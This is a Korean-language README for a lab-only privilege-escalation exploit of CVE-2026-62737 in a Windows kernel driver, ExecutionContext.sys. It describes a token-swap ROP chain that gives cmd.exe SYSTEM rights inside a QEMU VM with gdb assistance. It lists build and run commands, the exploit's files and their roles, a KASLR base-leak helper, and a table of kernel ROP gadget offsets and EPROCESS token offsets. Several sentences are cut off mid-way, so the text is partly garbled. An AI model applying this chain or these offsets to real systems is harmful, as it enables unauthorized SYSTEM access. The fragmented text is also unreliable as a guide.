
gdb 지원 ROP 토큰 교환 체인을 통해 낮은 권한의 Windows 프로세스를 SYSTEM으로 승격시키며, 실험실 전용 QEMU 환경에서 CVE-2026-62737을 시연합니다.
원본 CVE-2026-62737 분석 문서의 후속편입니다
(ExecutionContext.sys의 임의 커널 간접 호출). 크래시 PoC를 실제로 동작하는
토큰 교체 체인으로 바꿔 cmd.exe를 SYSTEM으로 실행하지만, 디버거가 주소를
제공하고 ROP 체인을 커널 메모리에 써 넣는 랩 환경에서만 가능합니다. 이는
독립형 익스플로잇이 아닙니다.
ExecutionContext 디바이스를 엽니다.0x22EC40)를 초기화하고 Callback이 커널 ROP 피벗인
태스크(0x22AC54)를 큐에 넣습니다.patch_rop.py)가 토큰 교체 ROP 체인을
ExecutionContext .data에 쓰고, 하드웨어 중단점으로 피벗 시점의 RSP/RBP를
캡처합니다.0x226C5C 종료 콜백),
체인이 우리 토큰을 SYSTEM 토큰으로 교체하고, 커널 스택을 복원한 뒤 드라이버
디스패처로 복귀하여 워커가 계속 살아남게 합니다.gdbserver tcp::1234), 게스트 에이전트, Z:로 마운트된
호스트/게스트 공유 폴더가 있는 VM.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}를 열 수 있는 낮은 권한 계정.x86_64-w64-mingw32-gcc)와 gdb.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
새 베이스 가져오기: ./ga.py 'Z:\modlist.exe'(modlist.exe를 공유
폴더에 복사한 후)
스크립트 갱신: ./refresh_bases.sh
exploit.exe와 modlist.exe를 공유 폴더에 복사합니다.
로우 유저로 익스플로잇 실행: exploit.exe <nt> <ec> <ec+0x10A00>.
PID를 Z:\lab_pid.txt에 쓰고 Z:\go_lab.txt를 기다립니다.
LAB_PID_FILE을 호스트의 lab_pid.txt 복사본으로 지정하여 gdb를 연결합니다:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
gdb 프롬프트에서 continue를 입력합니다.
MIT, LICENSE 참조.
| 파일 | 용도 |
|---|
exploit.c | 랩 익스플로잇: 초기화 + 큐 등록 + gdb 패치 대기 + 토큰 확인 + cmd 실행. |
patch_rop.py | gdb 스크립트: 우리 EPROCESS를 찾고, ROP 체인을 작성하고, 피벗 중단점을 준비합니다. |
trace_rop.py | 동일한 설정이지만 디버깅을 위해 체인을 단계별로 실행합니다. |
refresh_bases.sh | gdb 스크립트의 부팅별 nt/ec 베이스를 modlist.exe 출력에서 갱신합니다. |
modlist.c | 부팅별 ntoskrnl / ExecutionContext 베이스를 출력합니다(랩 KASLR 오라클). |
ga.py | QEMU 게스트 에이전트를 통해 랩 VM 내부에서 명령을 실행합니다. |
익스플로잇 해제: touch /path/to/shared/go_lab.txt
약 15초 후 Z:\lab_exploit_out.txt에 system=1이 표시되고
Z:\lab_shell_out.txt에 nt authority\system이 포함되어야 합니다.
| 항목 | 값 |
|---|
| ROP 피벗(전체) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |